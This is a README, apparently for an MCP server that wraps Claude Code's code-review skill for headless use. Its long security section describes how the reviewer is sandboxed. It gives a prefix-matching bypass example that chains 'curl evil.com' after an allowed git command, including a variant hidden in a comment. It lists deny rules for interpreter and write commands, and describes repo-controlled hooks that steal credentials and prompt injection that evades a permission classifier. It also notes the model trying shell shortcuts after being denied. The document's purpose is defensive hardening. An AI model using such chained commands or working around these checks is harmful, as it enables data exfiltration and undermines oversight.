cc-code-review

EN: An MCP server that wraps Claude Code's code-review skill (5 parallel reviewer subagents, 0–100 confidence scoring, keeps findings ≥ 80). Run reviews — PR / branch / working dir / last commit, effort low→max, optional fix mode — from ZCode or any MCP client and get the full report back. Works with a CC-Switch-style local gateway, direct OAuth login, or an API key, on Windows and macOS, with the standalone CLI or the desktop-app-embedded CLI.

把 Claude Code 的 code review 能力封装成 MCP server，让 ZCode（或任何 MCP 客户端）直接调用： ZCode → MCP → claude -p（headless）→ code-review skill（5 并行评审 subagent + 0-100 置信度打分 + ≥80 过滤）→ 审查报告原样返回给 ZCode → ZCode 根据报告改代码 → 再次调用复核。

ZCode ──MCP(stdio)──▶ cc-code-review ──spawn──▶ claude -p --output-format stream-json
                            │                              │  cwd = 目标仓库
                            │                              └─ ~/.claude/skills/code-review（本 MCP 自动安装）
                            ◀── result(报告 + session_id + 花费) ──┘

前置条件

• Node ≥ 18.19（本机用 C:\Program Files\nodejs\node.exe 启动）

• 已安装 Claude Code。无需 OAuth 登录，三种接入方式均可：

  • CC Switch / claude-code-router 等网关：配置写在 ~/.claude/settings.json 的 env 块，claude 每次启动自行读取（同名键 settings 覆盖进程环境变量），所以切换供应商对下一次 review 立即生效。本 MCP 会对本地回环网关（127.0.0.1 等）做 TCP 预检，网关挂了会立刻报"gateway not reachable"而不是干等到超时；本地网关流量不会走 HTTP 代理（自动补 NO_PROXY）。

  • 官方账号登录（OAuth/Pro/Max）：首次需在终端交互式跑一次 claude 完成登录，之后 headless 直接可用。注意：若 MCP 宿主以服务/计划任务方式运行且读不到当前用户凭证（Windows Credential Manager / macOS Keychain），会报 "Not logged in"。

  • ANTHROPIC_API_KEY 环境变量：从宿主环境继承，天然可用。

• PR 范围审查需要 gh 已登录；本地 diff 审查（working-dir / branch / last-commit）只需 git。

Related MCP server: claude-code-mcp

跨平台与安装方式支持

claude 可执行文件按以下优先级解析（claude_review_env 可查看命中来源）：

说明：

• 不用 where/which 子进程（中文 Windows 上 where 输出 GBK 会解成乱码），直接用 Node 读 PATH 逐目录探测。

• 只装桌面 app、没装 CLI 也能用：兜底到 app 内嵌的版本化 CLI（取最新版本目录；app 更新后路径可能漂移，建议正式使用装一份 CLI）。

• macOS 注意：若宿主从 Dock/Finder 启动，继承的是 launchd 的精简 PATH，本 MCP 会自动把 /opt/homebrew/bin、/usr/local/bin、~/.local/bin 等追加进 claude 子进程的 PATH（npm shim 的 #!/usr/bin/env node 与 claude 内部的 git/gh 都依赖它；追加而非前置，是为了不遮蔽用户自己的 PATH 优先级）。同理，ZCode 的 MCP 配置里 command 建议写 node 的绝对路径。

• macOS native 二进制首次 headless 运行若被 Gatekeeper 拦截（SIGKILL），错误信息会提示先在终端跑一次 claude --version。

• 超时/取消会杀整棵进程树（Windows taskkill /T /F，Unix 进程组 SIGKILL）；MCP server 自身退出时也会清理存活子进程。

注册到 ZCode（已完成则跳过）

用户级配置 ~/.zcode/cli/config.json（对所有 workspace 生效）：

{
  "mcp": {
    "servers": {
      "cc-code-review": {
        "command": "C:\\Program Files\\nodejs\\node.exe",
        "args": ["C:/Users/<你>/.zcode/mcp/cc-code-review/src/index.js"]
      }
    }
  }
}

macOS 把 command 换成本机 node 绝对路径（如 /usr/local/bin/node 或 /opt/homebrew/bin/node）。改完重启 ZCode（或重连 MCP）。工具名：mcp__cc-code-review__claude_code_review 等。

工具名（claude_code_review / claude_review_followup / claude_review_env）与环境变量前缀（CLAUDE_REVIEW_*）保持稳定，不随 server 名改变——已注册过的调用方与脚本无需跟着改，改的只是 server 键名（工具前缀从 mcp__claude-review__* 变成 mcp__cc-code-review__*）。

工具

1. claude_code_review — 跑一轮 review

返回：markdown 报告（Review Summary / Findings / Notes）+ 元数据（session_id、花费、轮数、日志路径）。claude 的认证/网关类失败会以醒目的 ⚠️ REVIEW FAILED 横幅返回并附处理建议，不会伪装成"报告"。

2. claude_review_followup — 追问 / 复核

拿着上一次返回的 session_id 继续对话（claude --resume）。

3. claude_review_env — 环境自检（免费）

CLI 解析结果与来源、版本、--effort/--max-budget-usd 支持情况、skill 状态、网关连通性（回环网关 TCP 预检）、宿主环境中残留的认证变量告警、git/gh 可用性、CLAUDE_CODE_EFFORT_LEVEL 覆盖告警。首行输出机器可读的 verdict: OK|NOT_FOUND|MISCONFIGURED。installSkill: true 可手动（重）装 skill。

code-review skill 说明

• ~/.claude/skills/code-review 不存在时，首次调用自动安装本仓库自带版本（Anthropic 官方 code-review 管线改编），带 installed-by-cc-code-review 标记（旧版 installed-by-claude-review-mcp 标记仍被识别为"本 MCP 装的"，下次安装时自动迁移成新标记，不会被误判成你自己的 skill）。

• 该目录已有你自己的 skill 时原样使用、绝不覆盖。

• 不想自动安装：installSkillIfMissing: false 或 CLAUDE_REVIEW_AUTO_INSTALL_SKILL=0，退化为内置精简评审提示词。

安全模型（多轮独立审计后）

进程边界（v1.3.0 新增，实测验证）

• --setting-sources user：被审仓库可能自带 .claude/settings.json（project/local 作用域），加载它会执行仓库控制的 SessionStart hook（任意代码执行）并覆盖 ANTHROPIC_*（凭据外带）。本 MCP 只加载用户级 settings。已用对照实验验证：带恶意 settings.json 的仓库在不加该旗标时 hook 确实执行、API 连接被劫持，加上后两者都消失。

• --permission-mode manual + --permission-prompts none：allowlist 成为硬边界——不在名单内的调用直接拒绝，不再经过模型驱动的权限分类器（提示注入可以绕过分类器）。--permission-prompts none 让"本该弹窗询问"的调用也直接拒绝（headless 下没有宿主能回答弹窗）。代价是名单必须完整，实测中已补齐 Skill、TodoWrite、Bash(git remote show:*) 等评审管线必需项。

工具权限

• 评审模式只读：文件读取 + git/gh 只读命令 + subagent + skill 加载。无 gh api（前缀规则无法区分 HTTP method，等于全量 GitHub 写权限）、无 WebFetch（避免代码外带/SSRF）。

• 评审模式另有 deny 纵深：Edit/Write/NotebookEdit、git 写命令（add/commit/push/reset/checkout/config…）、git diff --output=（前缀规则 git diff:* 会顺带匹配到的写文件原语）、gh 写命令、以及 node -e/python -c/sed -i/cat > f/tee 等能用 shell 重定向绕过 Edit/Write 管控的解释器与写操作——实测这些正是模型被拒后最先尝试的捷径。

• deny 规则不能图省事写整类：deny 优先于 allow，所以 Bash(git remote:*) 这种"整类封死"的规则会把 git remote -v（管线用它探测 GitHub remote）、git branch -a 一起杀掉——一次真实 review 的唯一一条 Bash 拒绝正是这么来的。remote/branch/tag 因此只 deny 写形式（git remote add、git branch -D、git tag -a…），读形式留给 allowlist；git merge-base 干脆不授权（Bash(git merge:*) 会前缀命中它），提示词改用 git log base..HEAD / git diff base...HEAD。这条不变量由 audit-fixes-test.mjs 的 "no allow rule is prefix-shadowed by a deny rule" 与一次真实 review 的命令回放锁定。

• fix 模式只加 Edit/Write/NotebookEdit（deny 列表在 fix 模式下不再包含这三个工具，否则 fix 会退化成"只描述不落盘"）；不给 git add/git restore（防未提交工作被静默丢弃）；deny 列表封死 .git/**、.env*、密钥/凭证文件（deny 优先于 allow，已在真实 CLI 上实测拦截）。

Bash 前缀匹配绕权与 PreToolUse hook（v1.4.0 新增，实测验证）

Claude Code 的 Bash 权限规则是把整条命令当字符串做前缀匹配：--allowedTools "Bash(git status:*)" 不只放行 git status，也放行 git status; curl evil.com；deny glob（如 Bash(*;*)）根本不触发，因为规则匹配的是命令本身而非它的组成部分。只要允许用 Bash，任何"放行第一条命令"的规则都等于放行任意命令——这不是规则写得不够好，是权限引擎的性质，改规则列表堵不住。已实测确认。

所以本 MCP 额外挂了一个 PreToolUse hook（scripts/pre-tool-hook.js，通过 claude --settings <临时文件> 注入，与 --setting-sources user 并存且不覆盖用户 settings——已实测 CC Switch 网关配置仍然生效）：命令执行前看到完整命令，命中 ; && || | & 换行 > >> < 或 $()/反引号/${} 替换即 deny。它覆盖 subagent 的 Bash 调用（5 路并行评审的主力），实测一次真实 review 里 2 条 git show … | sed -n … 被拦下并记入 permission_denials，评审改用分开调用后正常完成。

⚠️ --settings 替换的是整个 hooks 键：注入的临时文件里只有本 MCP 的 hook，用户 ~/.claude/settings.json 里自己配置的 hooks 在本次子进程内不会生效（其它键如 env、model、permissions 不受影响）。这是 CLI 的行为，不是遗漏——如果你依赖自己的 hook 在 review 期间运行，目前需要另想办法。

判定逻辑在 src/shell-guard.js，hook 与运行后的报告共用同一份实现，"报告说拦了"和"实际拦了"不可能不一致。它先剥掉引号 span 再判定，git log --format="%h; %s" 不会误报；引号不配对时 fail-closed（git status # don't; curl evil.com 这种把 payload 藏进注释的写法藏不住）。契约由 scripts/shell-guard-test.mjs 锁定（63 条，含一次真实 5-subagent review 的命令回放）——改那行正则前先跑 npm test。关掉它：CLAUDE_REVIEW_SHELL_GUARD=0（此时整体会 fail-closed 拒跑，见下文"纵深失效即拒跑"）。

hook 还有第二条确定性规则：git 的 --output= / --output-directory= 会让"只读"命令写文件（git diff/show/log --output=<file>、git format-patch --output-directory= 实测都会落盘；--output-to= 不是真实旗标）。deny glob 对这条无能为力——Bash 规则是整条命令前缀匹配，Bash(git diff --output=*) 拦不住 git diff HEAD --output=x，而中间带 * 的规则语义无法从 CLI 外验证——所以这一条由 hook 直接判掉。注意 grep --output、find -print 等非 git 的 --output 不受影响。

写入面收敛（hook 的另一半职责，v1.5.0）

Edit / Write / NotebookEdit / Read 也被 hook 审查，且以 CLAUDE_REVIEW_REPO_ROOT 为界：目标路径必须解析到被审仓库内，.git/**、.env*、id_rsa*/*.pem/*.key 等密钥路径一律 deny；没有传 repoRoot（hook 配置没生效）时 fail-closed 全部拒绝，而不是放行。边界判定走 realpath（两侧都解析真实路径），所以仓库里的目录 junction/软链接（repo/link -> ~/.ssh 这种"词法在仓库内、实际在外面"的逃逸）也会被拦下（有回归测试锁定）；未命中已有目标的写入按"最近的已存在祖先"解析。

仓库即代码执行面（v1.5.0 新增）

git 会执行仓库自己的配置：core.fsmonitor、diff.<driver>.command、.gitattributes 的 filter/textconv 驱动、core.hooksPath、[include] path = ../x（可指向仓库外）。-c 覆盖只能 Neutralise 已知键，驱动名是任意的。所以每次运行前会扫描 .git/config（含 include 链）与各级 .gitattributes：发现仓库控制的程序执行就直接拒跑，而不是带病开审。

扫描是精确的，不会误伤普通仓库：.gitattributes 里写了 *.png filter=lfs 但驱动定义在用户全局 config（git-lfs 的常见装法）时不拒；core.fsmonitor = true（布尔，且本来就被 -c 中和）也不拒。

纵深失效即拒跑（fail closed）

hook 没装上、guardSelfTest() 自检失败（hook 真的能拦下一条链式命令、真的放行一条干净命令）或 guard 状态为 failed 时，两个工具都会直接拒绝发起 review，并说明缺了哪一层——因为 manual 模式的 allowlist 单靠自己挡不住前缀匹配绕权。确实要无防护运行（例如排查误报）才设 CLAUDE_REVIEW_ALLOW_UNGUARDED=1 显式解锁。

版本地板（v1.5.0 新增）

--permission-mode manual 需要 CLI ≥ 2.1.200、--permission-prompts none 需要 ≥ 2.1.259。把未知旗标传给旧版 claude 会以一句难懂的报错结束整次运行，所以运行前读一次 claude --version 做门控（版本比较对 2.1.301-beta.1 这类预发布版安全），不达标就不传该旗标并在结果里说明退化情况。claude_review_env 会打印这两个地板与当前 CLI 版本。

输入校验（v1.3.0 新增，全部在发起付费调用前）

取消语义：MCP SDK 对已取消的请求会故意丢弃响应（协议规范如此，客户端本就已知自己取消了）。所以取消后你看不到"已取消"的返回值，但子进程树会在取消后约 2 秒内被 taskkill 杀掉、立刻停止计费；客户端断开 stdio 时同样会杀掉在跑的 review。

可观测性（v1.3.0 新增）：结果元数据里带 permission_denials 与 reviewer_subagents_spawned。manual 模式下 allowlist 漏项不会中断运行、只会让评审静默退化（例如 5 个 reviewer 子代理根本没起来），这两个字段把这种退化变成可见的。fix 模式还会比对运行前后的 git status，若工作区毫无变化会明确报 FIX MODE VERIFICATION FAILED——评审者"描述"了修复但没落盘时不会被误判成功。

v1.4.0 起元数据另加 bashCalls（本次发起的 Bash 调用数）与 shellGuardBlocked（被 hook 拦下的链式命令数），并区分两类拒绝：链式命令被拦是 hook 正常工作（提示模型拆成多次调用即可，不算评审退化），只有其它拒绝才报"评审可能不完整"。若出现 ⚠ SHELL-CHAINED COMMANDS RAN WITHOUT BEING BLOCKED，说明有命令绕过了 hook 真实执行了，此时才需要把该仓库当敌对环境处理。

• 运行日志（含被审代码引用）写入 %TEMP%/cc-code-review/，目录 0700、文件 0600，只保留最近 20 份。

• CLI 自带一份内置安全命令白名单（ls、cat、echo 等只读工具），即使不在 --allowedTools 里也会放行。已实测 node -e、python -c、rm、git push、git commit、curl、Write 工具调用全部被拒，所以这不是提权口子，但"只放行白名单里的命令"要按"白名单 + 这批内置只读命令"来理解。

• 模型可以把被 hook 拦下的复合命令拆成多次允许的调用分别执行——hook 拦的是"一条命令里串多步"，不是"一个回合里做多件事"。真正的能力边界仍然是 manual 模式的 allowlist，hook 保证每一步都可被单独审计。

• 已知残留风险：仓库内其他文件的 fix 改动、prompt 注入诱导的"看起来合理"的编辑——fix 模式改动留在工作区不 commit，请像审 PR 一样 git diff 检查后再采纳。

• 已知残留风险（Windows）：日志目录/文件的 0700/0600 是尽力而为——NTFS 不存 POSIX 权限位，同一台机器上的其他本地用户理论上可读 %TEMP%\cc-code-review\run-*.log（内含被审代码引用）。需要更严的隔离请设 CLAUDE_REVIEW_LOG_DIR 指向受限目录，或接受该风险（多数单用户桌面场景等同无风险）。

环境变量

提示：若宿主环境残留 ANTHROPIC_API_KEY 等认证变量但 settings.json 未管理它们，可能与 CC Switch 冲突（claude_review_env 会告警）；网关用户可在 ~/.claude/settings.json 加 CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" 减少非必要流量。

成本与时长

• 每次真实 review 消耗 Claude 额度（走你的订阅/网关），典型 2–15 分钟、$0.3–5（视 diff 与 effort）；maxBudgetUsd 兜底。

• claude_review_env 与版本/flag 探测免费（结果有缓存）。

在 ZCode 里怎么用

重启 ZCode 后直接说，例如：

用 cc-code-review MCP 对 C:\path\to\repo 的未提交改动跑一轮 code review（effort 用 max），然后根据 findings 修复，修完再复核一遍。

测试 / 维护

npm install
npm test                                         # shell-guard 单测（63 条，免费）+ 审计修复单测（146 条，免费）+ stdio 握手/环境检查
node scripts/validation-test.mjs                # 全部输入校验路径（免费，不发 API 请求）
node scripts/e2e-test.mjs <repoPath> [json]     # 真实 review（计费）
node scripts/followup-e2e.mjs <repoPath> <sessionId> # 真实 followup（计费）
node scripts/cancel-test.mjs <repoPath>         # 取消后进程树是否被立刻杀掉（计费，几美分）

validation-test.mjs 覆盖：相对 repoPath 拒绝、恶意 pr 拒绝、多行 outputLanguage 拒绝、空仓库拒绝、非 git 目录拒绝、maxBudgetUsd=0 被 schema 接受、baseRef 以 - 开头拒绝、focus 含控制字符/超长拒绝、guard 未生效时两个工具都 fail-closed 拒跑、以及 CLAUDE_REVIEW_ALLOW_UNGUARDED=1 的显式解锁。全部在付费调用之前返回——唯一例外是"clean repo 通过 preflight"这条（它会真的发起一次有预算上限的付费 run），默认跳过，设 CC_REVIEW_ALLOW_PAID_PROBE=1 才执行。

shell-guard-test.mjs 覆盖：链式/重定向/替换命令必须拦、git log --format="%h; %s" 这类引号内分隔符必须放行、引号不配对 fail-closed、hook 进程的 stdin→deny 契约、Edit/Write/Read 的仓库边界与 .git//密钥路径拦截，以及一次真实 5-subagent review 的 17 条命令回放（确认被拦的命令不会被误报成"逃逸"）。

audit-fixes-test.mjs 覆盖三轮独立审计的每条修复：deny 列表覆盖面与"同一规则同时出现在 allow/deny 里变成死规则"的冲突、allow 规则被 deny 规则前缀遮蔽（Bash(git remote -v) vs Bash(git remote:*)，真实 review 发现的）、postToPR 授权不是死代码、版本比较（含预发布号）、git hardening 的 -c 参数、repoRunsGitPrograms 的精确性（fsmonitor 布尔不误伤、LFS 全局驱动不误伤、[include] 链与 .gitattributes↔config 交叉核对都查得出）、hook 的 git --output= 规则、提示词里 caller 数据只能是数据，以及一次真实 review 的命令回放（allowlist 与 deny 两侧都要放行）。

改 src/shell-guard.js 的正则前必须跑 npm test：那行正则的注释和模块 docstring 说明了它为什么必须包含 | 与 &（前缀匹配绕权），单看代码很容易误以为在降低误报率。

已实测通过的回归项（Windows / npm 全局安装 / CC Switch 本地网关，无账号登录）：manual 模式下完整 review（中文报告、按 ≥80 规则把自标 BUG 评成 CRITICAL/MAJOR、低分项正确降级到 Notes）、scope=branch + baseRef（git log main..HEAD / git diff main...HEAD，permission_denials=0、guard 拦下 0 条）、fix 模式落盘且未 commit、.git/ 未动、followup 用返回的 session_id 续上同一会话。更早一轮还验证过：带恶意 .claude/settings.json 的仓库不再执行仓库控制的 hook、取消后 2 秒内进程树清零。

• 运行日志：%TEMP%\cc-code-review\run-*.log（保留 20 份；guard 临时文件与 git 沙箱 HOME 同目录，进程退出时清理，陈旧残留由下一次运行自动清扫）。

• 从 v1.5.0 及更早版本升级（旧名 claude-review-mcp）：旧日志目录 %TEMP%\claude-review-mcp 不会被新版本触碰或删除，如含敏感引用请手动删除。

• 卸载：删除 ZCode 配置里的 cc-code-review 条目；移除 skill 删 ~/.claude/skills/code-review。

授权与致谢

• 本项目以 MIT 协议开源。

• 内置的 code-review skill（assets/skills/code-review/SKILL.md）改编自 Anthropic 官方的 code-review 插件管线（5 路并行评审 + 置信度过滤），在此基础上适配了 headless 调用与只读边界。

• 感谢 Claude Code 团队与 CC Switch / claude-code-router 等网关项目，让"无账号登录也能跑 review"成为可能。

• 安全模型经过多轮独立交叉审计（Windows / macOS / 认证网关 / 安装形态 / 回归五个视角），详见上文与 SECURITY.md。发现漏洞请走私有通告，不要开公开 Issue。